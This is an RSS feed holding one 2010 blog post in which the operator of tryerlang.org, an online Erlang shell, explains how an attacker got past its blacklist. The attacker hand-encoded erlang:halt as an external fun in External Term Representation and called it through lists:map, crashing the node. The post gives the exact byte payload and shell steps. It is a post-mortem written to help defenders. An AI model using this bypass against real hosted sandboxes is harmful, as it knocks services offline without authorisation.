<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Roberto Aloi &#187; Hacking</title>
	<atom:link href="http://aloiroberto.wordpress.com/category/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://aloiroberto.wordpress.com</link>
	<description>My code is bug-free. It implements some random, undocumented features</description>
	<lastBuildDate>Fri, 26 Oct 2012 20:54:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='aloiroberto.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Roberto Aloi &#187; Hacking</title>
		<link>http://aloiroberto.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://aloiroberto.wordpress.com/osd.xml" title="Roberto Aloi" />
	<atom:link rel='hub' href='http://aloiroberto.wordpress.com/?pushpress=hub'/>
		<item>
		<title>How they tried to fool tryerlang.org</title>
		<link>http://aloiroberto.wordpress.com/2010/10/14/how-they-tried-to-fool-tryerlang-org/</link>
		<comments>http://aloiroberto.wordpress.com/2010/10/14/how-they-tried-to-fool-tryerlang-org/#comments</comments>
		<pubDate>Thu, 14 Oct 2010 18:39:31 +0000</pubDate>
		<dc:creator>Roberto Aloi</dc:creator>
				<category><![CDATA[Erlang]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[external term]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[restrictions]]></category>
		<category><![CDATA[secure shell]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tryerlang]]></category>
		<category><![CDATA[tryerlang.org]]></category>

		<guid isPermaLink="false">http://aloiroberto.wordpress.com/?p=391</guid>
		<description><![CDATA[Preface tryerlang.org is an Interactive Erlang Shell which allows you to try the power of Erlang directly in your browser, without installing anything in your machine. In the first months of his existence, tryerlang.org has been subjected to a countless number of attacks, aiming at bringing the Erlang node down. Studying the tryerlang.org&#8217;s logs has been so &#8230; <a href="http://aloiroberto.wordpress.com/2010/10/14/how-they-tried-to-fool-tryerlang-org/">Continue reading <span class="meta-nav">&#187;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=aloiroberto.wordpress.com&#038;blog=6646513&#038;post=391&#038;subd=aloiroberto&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<h3>Preface</h3>
<p style="text-align:justify;"><a title="tryerlang.org" href="http://tryerlang.org" target="_blank">tryerlang.org</a> is an Interactive Erlang Shell which allows you to try the power of Erlang directly in your browser, without installing anything in your machine. In the first months of his existence, tryerlang.org has been subjected to a countless number of attacks, aiming at bringing the Erlang node down. Studying the tryerlang.org&#8217;s logs has been so far an highly interesting and constructive experience.</p>
<p style="text-align:justify;">In this blog post I will present one of the attempted attacks. The attack was based on the concept of <em>External Term Representation </em>for Erlang, which is introduced in the next section.</p>
<h3>External Term Representation</h3>
<p style="text-align:justify;">In the distribution mechanism of Erlang, Erlang terms are converted into binaries before being sent to a remote host and then converted back into Erlang terms at the destination. The built-in functions <code>term_to_binary</code> and <code>binary_to_term</code> are used for the conversions.</p>
<p style="text-align:justify;">More information about the External Term Representation are available in <a title="Erlang External Term Representation" href="http://www.erlang.org/doc/apps/erts/erl_ext_dist.html" target="_blank">the official Erlang Documentation</a>. How the External Term Representation has been used to perform the attack is explained in the next section.</p>
<h3>Halting the Erlang Node</h3>
<p style="text-align:justify;">The user wants to bring the Erlang node down. He then tries to use the <code>erlang:halt/0</code> function. This function, documented <a title="Erlang Halt" href="http://www.erlang.org/doc/man/erlang.html#halt-0" target="_blank">here</a>, halts the Erlang runtime system and indicates normal exit to the calling environment. It has no return value. The function has been disabled in tryerlang.org for security reasons, so the only result the user get is the following message:</p>
<blockquote><p>&#8220;This functionality has been disabled for security reasons in tryerlang.org.&#8221;.</p></blockquote>
<p style="text-align:justify;">So far, so good. The Erlang node is still up. The user thinks for a while and then he notices that tryerlang.org allows you to define <a title="Erlang Funs" href="http://www.erlang.org/doc/programming_examples/funs.html" target="_blank">funs</a>. Here is where the External Term Representation can help. <a title="export_ext" href="http://www.erlang.org/doc/apps/erts/erl_ext_dist.html#id83276" target="_blank">According to the documentation</a>, it is possible to encode an external fun &#8211; something like <code>fun M:F/A</code> &#8211; in the  following way:</p>
<p style="text-align:justify;"><code>113 | Module | Function | Arity</code></p>
<p style="text-align:justify;">Where <strong>Module</strong> and <strong>Function</strong> are atoms and <strong>Arity </strong>is  an integer. The atoms can be encoded using <a title="atom ext" href="http://www.erlang.org/doc/apps/erts/erl_ext_dist.html#ATOM_EXT" target="_blank">ATOM_EXT</a>, while <a title="small integer ext" href="http://www.erlang.org/doc/apps/erts/erl_ext_dist.html#id80902" target="_blank">SMALL_INTEGER_EXT</a> can be used for the arity integer.</p>
<p style="text-align:justify;">The encoding for the atoms looks like:</p>
<p style="text-align:justify;"><code>100 | Len | AtomName</code></p>
<p style="text-align:justify;">Where <code>Len</code> is the length of <code>AtomName</code>, expressed in two bytes.</p>
<p style="text-align:justify;">Finally, the encoding for the small integers looks like:</p>
<p style="text-align:justify;"><code>97 | Int</code></p>
<p style="text-align:justify;">The last thing we have to consider is that, in the External Term Representation, the byte <code>131</code> needs to be prepended to the term. Now that we have all the required knowledge to do it, let&#8217; try to encode the <code>erlang:halt/</code>0 function using the External Term Representation and let see if we can fool tryerlang.org!</p>
<p style="text-align:justify;">We could write the binaries for the atoms <strong>erlang</strong> and <strong>halt</strong> by hand, but it&#8217;s actually more handy to use the <code>term_to_binary/1</code> BIF to do it for us. Since the function is blacklisted in tryerlang.org, let&#8217;s use our own shell.</p>
<p style="text-align:justify;"><code>Eshell V5.8.1  (abort with ^G)</code></p>
<p style="text-align:justify;"><code>&gt; term_to_binary(erlang).</code></p>
<p style="text-align:justify;"><code>&lt;&lt;131,100,0,6,101,114,108,97,110,103&gt;&gt;</code></p>
<p><code>&gt; term_to_binary(halt).</code></p>
<p style="text-align:justify;"><code>&lt;&lt;131,100,0,4,104,97,108,116&gt;&gt;</code></p>
<p style="text-align:justify;">Skipping the initial <code>131</code> byte (see above) and concatenating the other two obtained terms, we have:</p>
<p style="text-align:justify;"><code> &lt;&lt;100,0,6,101,114,108,97,110,103,<br />
100,0,4,104,97,108,116&gt;&gt;<br />
</code></p>
<p style="text-align:justify;">Prepending the <code>131</code> (prefix for all terms) and <code>113</code> (prefix for external funs) bytes and appending the arity integer, we have:</p>
<p style="text-align:justify;"><code> &lt;&lt;131,113,<br />
100,0,6,101,114,108,97,110,103,<br />
100,0,4,104,97,108,116,<br />
97,0&gt;&gt;<br />
</code></p>
<p style="text-align:justify;">We should have the binary representation of the external fun <code>erlang:halt/0</code>. Let&#8217;s check it!</p>
<p style="text-align:justify;"><code>&gt; binary_to_term(&lt;&lt;131,113,<br />
100,0,6,101,114,108,97,110,103,<br />
100,0,4,104,97,108,116,97,0&gt;&gt;).</code></p>
<p style="text-align:justify;"><code>8&gt;#Fun&lt;erlang.halt.0&gt;</code></p>
<p style="text-align:justify;">Let&#8217;s now take this binary from our shell and let&#8217;s paste it in tryerlang.org. Oh, I forgot that the online shell doesn&#8217;t allow copy and paste (what a shame!), so we have to fill the whole binary sequence by hand&#8230;</p>
<p style="text-align:justify;">After a couple of minutes of struggling against typos and errors, here&#8217;s our wonderful fun which we can bind to a new variable:</p>
<p style="text-align:justify;"><code>&gt;B = &lt;&lt;131,113,100,0,6,101,114,108,<br />
97,110,103,100,0,4,104,97,108,116,97,0&gt;&gt;.</code></p>
<p style="text-align:justify;">We now need to convert the binary into an Erlang term. Originally, tryerlang.org was allowing <a title="Erlang Safe Binary To Term" href="http://www.erlang.org/doc/man/erlang.html#binary_to_term-2" target="_blank">the binary_to_term function in safe mode</a>. This function has been now completely disabled after this attack. If you want to try what follows you will need to do it in your own Erlang shell.</p>
<p style="text-align:justify;"><code>&gt;F = binary_to_term(B, [safe]).</code></p>
<p style="text-align:justify;">Let&#8217;s now try to launch the fun as:</p>
<p style="text-align:justify;"><code>&gt;F().</code></p>
<p style="text-align:justify;">Well, that didn&#8217;t work as expected. tryerlang.org actually realized that the <code>erlang:halt/0</code> function was going to be called and he managed to block it. We need something different.</p>
<p style="text-align:justify;">What would happens if we embed the <code>halt</code> function in another function call, say a <code>list:map/2</code>? The only problem would be that we need a parameter in our halt function. Fortunately <a href="http://www.erlang.org/doc/man/erlang.html#halt-1" target="_blank">an alternative version of <code>erlang:halt/0</code> exists, taking exactly one argument</a>. Let&#8217;s create an external representation for it. We just need to change the last element from 0 to 1. The BIF <code>f/1</code> forgets the value of a bounded variable.</p>
<p style="text-align:justify;"><code>&gt; f(B).</code></p>
<p style="text-align:justify;"><code>&gt; B = &lt;&lt;131,113,100,0,6,101,114,<br />
108,97,110,103,100,0,4,104,97,108,116,97,1&gt;&gt;.<br />
</code></p>
<p style="text-align:justify;">Now we should be able to do&#8230;<br />
<code><br />
&gt; f(F).</code></p>
<p style="text-align:justify;"><code>&gt;F = binary_to_term(B, [safe]).</code></p>
<p style="text-align:justify;"><code>&gt;lists:map(F, [0]).<br />
</code></p>
<p style="text-align:justify;">And the node dies.</p>
<p style="text-align:justify;">Actually the node is almost immediately brought back by <a title="Erlang Heart" href="http://www.erlang.org/doc/man/heart.html" target="_blank">heart</a> but, hey, I have to pay a beer to this guy! <img src='http://s0.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align:justify;">Please note that <strong>the hacker had the advantage to look at the source code for tryerlang.org while performing the attack.</strong></p>
<p style="text-align:justify;">I wanted to share this experience with all of you. I consider it highly constructive, since it leads to reflect on several aspects of Erlang. Comments and feedback are more than welcome.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/aloiroberto.wordpress.com/391/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/aloiroberto.wordpress.com/391/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=aloiroberto.wordpress.com&#038;blog=6646513&#038;post=391&#038;subd=aloiroberto&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://aloiroberto.wordpress.com/2010/10/14/how-they-tried-to-fool-tryerlang-org/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
	
		<media:thumbnail url="http://aloiroberto.files.wordpress.com/2009/11/erlang-logo.png?w=150" />
		<media:content url="http://aloiroberto.files.wordpress.com/2009/11/erlang-logo.png?w=150" medium="image">
			<media:title type="html">Erlang</media:title>
		</media:content>

		<media:content url="http://0.gravatar.com/avatar/c20f7f4a8aa455aa6e0c2a0092883cd0?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">prof3ta</media:title>
		</media:content>
	</item>
	</channel>
</rss>
